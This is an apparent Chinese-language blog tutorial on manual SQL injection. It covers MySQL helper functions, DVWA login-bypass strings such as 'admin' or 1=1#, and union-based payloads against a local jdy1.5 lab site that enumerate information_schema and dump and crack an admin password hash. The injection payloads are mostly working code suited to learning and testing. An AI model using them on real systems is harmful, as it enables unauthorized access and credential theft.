• 初始sql注入


    在了解sql注入之前,需要有数据库的简单知识,或者说,一些函数和命令

    常用数据函数以及常量

    @@tmpdir临时目录

    @@datadir存放路径

    @@basedir MySQL 的安装路径

    @@version mysql版本

    @@hostname 主机名

    ascii() 转换为ascii码值

    user() 用户

    version() 版本

    database() 所有数据库

    concat() 拼接函数

    group_concat() 拼接函数

    concat_ws() 拼接函数

    substr():oracle,mysql,mssql   /substring():mysql,mssql   /mid():mysql  注意:均有三个参数,第一个是被截取的字符,第二个是开始索引,第三个是截取的长度

    left(pa1,pa2) pa1是被截取的字符串,从左边开始截取,pa2是截取的长度

    right(pa1,pa2)pa1是被截取的字符串,从右边开始截取,pa2是截取的长度

    sleep()让数据库休眠的

    ord()显示字符的ASCII

    if(条件,条件为真时的返回值或者语句, 条件为假时的返回值或者语句)

    eg: if(1=1,true,false)

    case when 条件 then条件为真时的返回值或者语句 else条件为假时的返回值或者语句 end

    egSELECT 1,CASE WHEN 1=1 THEN 'hello' ELSE 'goodbye' END,3 --+

    了解一些基本函数后,尝试基本的sql注入

    1、万能密码:自己写的网站,找到和数据库交互的登陆窗口,往里面插入构造的sql语句(恶意代码),能够直接登陆进,有可能不需要真正的账号密码。输入的恶意代码就称为万能密码。后端拼接的sql语句要能闭合:SELECT *FROM WHEREusers=’$users’ AND ‘password’=’$pass’  

    dvwa测试

    语句1admin ‘ or 1=1#

    得到:SELECT * FROM `users` WHERE user = 'admin' or 1=1# ' AND password

    = '202cb962ac59075b964b07152d234b70';

    在数据库中:

     

    语句2admin ‘and 1=1#

    得到:SELECT * FROM `users` WHERE user = 'admin' and 1=1#' AND password = '5f4dcc3b5aa765d61d8327deb882cf99';

    数据库:

     

    其他的语句(注意:是否需要加单引号,需要根据后端的数据类型来。若是字符串类型,则加单引号;若是整型的,则不需要加)

    Admin ‘and ’1’=’1’#

     

    mysql数据库中的一库一表三字段:

    Mysql>5.0,有自带的系统数据库-infirmation_schema,汇总其他数据库的库名、表名、字段名。

    Columns 存储数据(库民 、表名、字段名)

    Table_schema字段 存放其他数据库的库名。

    Table_name字段 存放其他数据库的表名。

    Column_name字段存放其他数据库的字段名。

    手工注入:(测试网站jdy1.5)

    1、检测注入点(可能存在sql注入的地方),方式:admin’ or 1=1#等。

    找到类似于id(id,uid,typeid,sid,key等可动参数)之类的参数

     

    后面需要插入一些检测的恶意代码:

    ‘/’ and 1=1/’ and 1=2/-1’ or ‘1’=’1需不需要单引号是由后端拼接的sql语句决定的。

    Sql闯关

    第一关:SELECT * FROM users WHERE id=’$id’ Limit 0,1 前端测试代码:id=1 ‘and 1=1%23

    第二关:SELECT * FROM users WHERE id=$id Limit 0,1 前端测试代码:id=1 and 1=1%23

    输入的payload被成功执行则说明此处有sql注入点

    接下来判断注入的方式:主要根据页面的回显来决定使用那种注入技术(布尔、报错、内敛、时间)

    判断从后台数据库中选择的列数以及那几列在前端显示

    http://localhost/jdy1.5/typeid.php?typeid=1 and order by 6%235时显示正常,6时出现变化,说明有五列显示在前端)

    使用union拼接想要执行的命令

    http://localhost/jdy1.5/typeid.php?typeid=-1 union select 1,2,3,4,5%23

    可以发现2在前端显示出来了

     

    在第二列执行命令

    http://localhost/jdy1.5/typeid.php?typeid=-1 union select 1,user(),3,4,5%23

    命令被执行,得到想要的信息。

     

    2、收集后台数据信息

    select 1,user(),3,4,5%23当前用户

     

    select 1,database(),3,4,5%23当前数据库

     

    Select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5

    distinct(去重复)group_concat(group by产生的同一个分组中的值连接起来,返回一个字符串结果

     

    3、获取当前数据库的表名

    Select table_name from information_schema.columns where table_schema=database()

     

    4、获取当前数据库下指定表下字段名

    Select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=’jdy_admin’(后台或者敏感的数据表,比如jdy_admin)需要对jdy_admin进行十六进制转码,转码后不需要单引号

    select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e

     

    5、获取字段的内容

    select concat(username,0x7e,password) from  jdy_admin  limit 0,1

     

    得到账号密码:admin~c3284d0f94606de1fd2af172aba15bf3

    6、解密

    Md5rot13

    c3284d0f94606de1fd2af172aba15bf3两次解码之后得到admin

  • 相关阅读:
    【原创】Cookie应用(二)
    空间数据可视化
    jquery 相册
    两个时间的月份差
    SQL2005 分页
    mssql 评估期过了
    获得文件夹内的文件,按时间排序
    linux使用privoxy将55转为http代理
    OpenCV之创建矩阵并画绿色矩形
    vs2010导入vc 6.0的资源文件方法
  • 原文地址:https://www.cnblogs.com/shayanboy/p/11769101.html
Copyright © 2020-2023  润新知